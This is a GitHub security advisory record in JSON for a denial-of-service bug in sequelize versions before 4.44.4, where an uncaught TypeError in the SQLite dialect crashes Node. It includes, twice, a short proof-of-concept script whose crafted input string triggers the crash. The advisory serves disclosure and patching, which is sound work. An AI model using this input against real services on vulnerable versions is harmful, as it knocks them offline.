{"id":"GHSA-fw4p-36j9-rrj3","aliases":["GHSA-fw4p-36j9-rrj3"],"related":[],"kind":"vulnerability","state":"published","title":"Denial of Service in sequelize","summary":"Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() => {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() => {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.","format":"markdown","source":"ghsa"}],"published":"2020-09-03T20:25:33.000Z","modified":"2020-08-31T18:48:48.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"MEDIUM"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"MEDIUM"}],"cwes":["CWE-248"],"affected":[{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.44.4"}],"ecosystem":"npm","package":"sequelize","purl":"pkg:npm/sequelize","source":"ghsa"}],"references":[{"url":"https://github.com/sequelize/sequelize/pull/11877","tags":["web"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/1142","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fw4p-36j9-rrj3","url":"https://github.com/advisories/GHSA-fw4p-36j9-rrj3","licence":"CC-BY-4.0","modified":"2020-08-31T18:48:48.000Z"}],"updatedAt":"2026-11-25T22:56:45.320Z"}